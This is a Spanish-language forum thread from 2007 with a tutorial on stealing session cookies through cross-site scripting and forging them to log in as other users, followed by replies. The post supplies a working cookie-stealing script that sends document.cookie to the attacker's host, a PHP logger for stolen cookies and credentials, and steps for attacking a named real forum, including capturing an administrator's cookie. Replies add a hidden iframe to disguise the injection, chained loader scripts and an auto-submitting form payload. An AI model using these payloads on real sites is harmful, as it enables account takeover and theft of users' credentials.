Tutorial Cookie Poisoning

Iniciado por SkapperMX, 21 Mayo 2007, 02:27 AM

0 Miembros y 1 Visitante están viendo este tema.

SkapperMX

Bueno lo prometido es deuda....   :D Si tienen dudas por favor postear aqui [serio-feliz]

Cookie Poisoning
By
SkapperMX

                                           
Que son las cookies???

Una cookie es un fragmento de información que se almacena en el disco duro del visitante de una página web a través

de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor

en posteriores visitas. Las inventó Lou Montulli, un antiguo empleado de Netscape Communications. Al ser el

protocolo HTTP incapaz de mantener información por sí mismo, para que se pueda conservar información entre una

página vista y otra (como login de usuario, preferencias de colores, etc), ésta debe ser almacenada, ya sea en la

URL de la página, en el propio servidor, o en una cookie en el ordenador del visitante.

De esta forma, los usos más frecuentes de las cookies son:

    * Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una

cookie para que no tenga que estar introduciéndolas para cada página del servidor. Sin embargo una cookie no

identifica a una persona, sino a una combinación de computador y navegador.
    * Ofrecer opciones de diseño (colores, fondos, etc) o de contenidos al visitante.
    * Conseguir información sobre los hábitos de navegación del usuario, e intentos de spyware, por parte de

agencias de publicidad y otros. Esto puede causar problemas de privacidad y es una de las razones por la que las

cookies tienen sus detractores.

Originalmente, sólo podían ser almacenadas por petición de un CGI desde el servidor, pero Netscape dio a su lenguaje

javascript la capacidad de introducirlas directamente desde el cliente, sin necesidad de CGIs. En un principio,

debido a errores del navegador, esto dio algunos problemas de seguridad, que posteriormente fueron resueltos. Estas

vulnerabilidades fueron descubiertas por Esteban Rossi[cita requerida]. Las cookies pueden ser borradas, aceptadas o

bloqueadas según desee, para esto solo debe configurar convenientemente el navegador web.

  Robo de cookies

El scripting entre sitios permite que el valor de las cookies se envíe a servidores que normalmente no recibirían

esa información. Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si

las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que

no deberían acceder a ellas. El proceso que permite a una parte no autorizada recibir una cookie se llama robo de

cookies, y la encryptación no sirve contra este tipo de ataque.
                                       



Falsificación de cookies

Aunque las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, un atacante podría

modificar el valor de las cookies antes de devolverlas. Si, por ejemplo, una cookie contiene el valor total de la

compra de un usuario en un sitio web, cambiando ese valor el servidor podría permitir al atacante pagar menos de lo

debido por su compra. El proceso de modificar el valor de las cookies se denomina falsificación de cookies y a

menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Sin embargo, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión —un número único

utilizado para identificar la sesión del usuario— y el resto de la información se almacena en el propio servidor. En

este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Fuente: Wikipedia.com



**********************************************************************************************************************************************************************

*********************************************************************

Bienvenidos a mi segundo tutorial, este manual veremos y llavaremos a cabo ejemplos reales para hacer una

falsificacion de cookie o cookie poisoning.No me hago responsable al daño parcial a webs con esta informacion...

Para este tuto nesesitaremos varias herramientas:

- FlashFXP Descargar

- Mozilla Firefox Descargar

***************************************************************************************************************************************************************************

************************************************************************



                                             
Etapa 1
Herramientas y Preparacion


Recuerdas la vulnerabilidad XSS??? de ese ataque muy conocido podemos hacer un script robador de cookie bueno veamos

el script lo cual es el siguiente codigo

<script>self.location.href='http://misitio.com/log.php?c='+escape(document.cookie);</script>

Analizemos el codigo por partes :

<script> Aqui declaramos al servidor de que es un script

self.location.href Esto es un comando de javascript para redireccionar la web hacia nuestro sitio

+escape(document.cookie); Aqui es donde va lo importante ya que aqui se declara de que queremos que la variable C sea la cookie actual

</script>  Cerramos nuestro script

ok ya tenemos nuestro codigo robador de cookie y ahora como guardamos la cookie???

Sencillamente con este codigo en php lo que hace es captar toda la informacion enviada (por el script) y las guarda

en un archivo que el creara, a este codigo en php lo llamaremos Captador

<?php
$archivo 
fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
$cookie $_GET['c'];
$usuario $_GET['id']; 
$ip getenv ('REMOTE_ADDR');
$re $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo'<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> 

IP: ' 
.$ip'<br> Fecha y Hora: ' .$fecha'</hr>');
fclose($archivo);
?>


Como puedes ver no es nada de otro mundo, ok ya tenemos nuestras herramientas y como lanzamos el ataque??
de este modo.

Hay 3 pasos para conseguir un ataque perfecto los cuales son:

1.- Encontrar una web que tenga alguna vulnerabilidad XSS
2.- Encontrar algun host gratuito y subir nuestro captador de cookie con privilegios 777.
3.- Inyectar nuestro codigo (script)
4.- Luego de dias ver nuestro captador y falsificar las cookies


Creamos un hosting gratuito en BolHost.com o otra pagina de hosting gratis que soporte PHP.



Subimos todo para nuestro hosting mediante FTP O Manualmente en la web



Ponemos los privilegios de 777 a nuestro captador



Preparemonos para el ataque......

                                                   
Etapa 2
                                 
       Inyeccion y Robo



Atacaremos la siguiente web con un bug XSS en algunos post



Probamos el script  test del xss  y...




Como vemos es vulnerable a XSS, ahora inyectemos nuestro codigo robador de cookies..



Y nos debe redireccionar hacia nuestra web rabandonos la cookie inmediantamente...



Veamos nuestro captador.... Tenemos Cookies!!!!!!!



Y Ahora hago..........Flasificamos las cookies.

***************************************************************************************************************
PD. Yo usare Firefox para falsificar las cookie ya que me siento mas comodo con el...
usaremos el siguiente plugin.
Se llama Cookie Editor lo pueden descargar aqui:
https://addons.mozilla.org/es-ES/firefox/addon/573?id=573&application=firefox
**************************************************************************************************************

Etapa 3
Cookie Poisoning

Abrimos el Mozilla y instalamos nuestro querido plugin...



Ok,instalado nuestro plugin, nos dirigimos a nuestro hosting (donde tenemos nuestro amigo el captador de cookies)...



Lo descargamos....................



Y vemos un monton de letras...



Recuerdas que la web a atacar era www.teambio.net, veamosla...



Como pudieron observar sus ojos este es un foro de la empresa Vbulleti$, como todos sabemos son dificiles de
encontrar una vulnerabilidad ,pero yo la encontre , esto que en un dia en donde no sabia que hacer entra a esa web y

postee un tema pero pense si metiamos a nuestro querido script TEST de XSS en un post que pasaria..

Lo intente y vuala!! me sale un mensaje de alerta, entonces inyecte en mi post el script para robar las cookies y al

los dos o tres dias de espera tenia mis hermosas cookies y adivinen que ¡Tambien la del administrador!.Al momento de

que las vi me emocione y hice rapido un Cookie Poisoning...Dejemos mi experiencias newbies a un lado.


Y como las enveneraremos???? pss muy simple entraremos a nuestra web a atacar la cual en nuestro caso es TeamBio

entremos



Ahora nos registramos y nos loguemos como un usuario normal, pero recuerda que tenemos que póner la casilla de

Recordar Siempre para la cookie que se envia a nuestro ordenador se cree y asi podamos modificarla a nuestro gusto



Ahora veamos nuestra cookie generada a partir de la web de TeamBio



Como vemos tiene algunas letras, si comparas los datos que tiene con tu cookies obtenidas observaras que casi son

iguales solo por ciertos datos..




Ahora abrimos nuestro querido FIREFOX y en la parte de herramientas seleccionamos Cookie Editor,ahora tenemos todas

las cookie guardadas en nuestro ordenador por otras webs, busquemos en el filtro la palabra team(para teambio)

y...



Ahora sabemos todos los datos que estan en nuetras cookies,ahora solo cambiaremos la informacion de nuestra cookie

original por alguna que capturamos,todos los datos que tengan namas combiaremos la informacion, haciendo click en alguna de las partes y luego Edit





Ahora visitamos nuestra web y.... ¡Estamos loguedos como otro usuario!



Con esto termino mi segundo Tutorial, ojala les haya gustado y entendido.

PD. A lo mejor el sitio de ejemplo ya no sea vulnerable a estos ataques....


**********************************************************************************************************************************************
Team -= UnderCode =-

SkapperMX "No eres nadie en la vida hasta que haces algo especial..."


SkapperMX at gmail dot com
Skapper_MX at hotmail dot com

***************************************************************************************************************************************************


yeikos

Muy bueno para los que empiezan pero con el código PHP del principio el que te robaría las cookies sería yo... ;)

rakax

UNa pregunta el el codigo del XSS no seria <script>self.location.href='http://misitio.com/captador.php?c='+escape(document.cookie);</script>???
Gracias
P.D:si subo el captador a un servidor local como configuro para los permisos??
gracias
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

yeikos

#3
Cita de: raka en 25 Mayo 2007, 07:30 AM
UNa pregunta el el codigo del XSS no seria <script>self.location.href='http://misitio.com/captador.php?c='+escape(document.cookie);</script>???
Gracias
P.D:si subo el captador a un servidor local como configuro para los permisos??
gracias

Sí, así es raka...

Debes de ponerle el permiso CHMOD 777 a la carpeta donde se vayan a exportar las cookies.

NewLog

Parece un grandíssimo tutorial!! En cuanto tenga un momento lo leo!

Gracias!!

rakax

AA oki muchas gracias, es normal k cuando alguien lea el post donde se encuentra el XSS del foro este le redireccione a el server mio?? por que si el admin lo ve sera algo sospechoso.
Gracias
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

yeikos

Cita de: raka en 25 Mayo 2007, 17:12 PM
AA oki muchas gracias, es normal k cuando alguien lea el post donde se encuentra el XSS del foro este le redireccione a el server mio?? por que si el admin lo ve sera algo sospechoso.
Gracias

Sí por eso mismo se suele utilizar la etiqueta iframe para camuflar la inyección...

<iframe src="http://[server]/xss.html" width="1" height="1" frameborder="0"></iframe>

<!-- xss.html --!>
<script>
self.location.href='http://[victima]/index.php?login=<script src="http://[server]/script.js"></script>
</script>


<!-- script.js --!>
<script>
self.location.href='http://[server]/?c='+escape(document.cookie);
</script>


<?php
// index.php
$archivo fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
$cookie $_GET['c'];
$usuario $_GET['id']; 
$ip getenv ('REMOTE_ADDR');
$re $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo'<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> 

IP: ' 
.$ip'<br> Fecha y Hora: ' .$fecha'</hr>');
fclose($archivo);
?>




rakax

Una pregunta, esto:
http://[victima]/index.php?login=<script src="http://[server]/script.js
se supone k donde esta http://[victima]/index.php?login= esa pagina debe de ser vulnerable al XSS? o no por k si el bug esta en los post de un foro...no serviria,no??la segunda parte la entiendo bien
gracias ;)
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

yeikos

Cita de: raka en 25 Mayo 2007, 20:54 PM
Una pregunta, esto:
http://[victima]/index.php?login=<script src="http://[server]/script.js
se supone k donde esta http://[victima]/index.php?login= esa pagina debe de ser vulnerable al XSS? o no por k si el bug esta en los post de un foro...no serviria,no??la segunda parte la entiendo bien
gracias ;)

Sí, y en caso de que la variable afectada por la inyección XSS solo admita pasar datos mediante la variable POST...

<!-- xss.html --!>
<META HTTP-EQUIV="Refresh" CONTENT="1; URL=javascript:document.forms[0].submit()">
<form action="http://[victima]/login.php" method="POST">
<input type="hidden" name="user" value="INYECCIÓN-XSS">
<input type="hidden" name="pass" value="*****" />
</form>



rakax

Me he podido dar cuenta k en muchos foros vBulletin la opcion de HTML esta on,esto supongo k hace k puedas hacer XSS, no?? posteando un tema y atrayendo al admin del foro hasta el o sino tambien puedes escribirle un privado si esta activado el HTML y cuadno lo lea...listo ;) (no se si esta ultima funcione)
Saludos
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc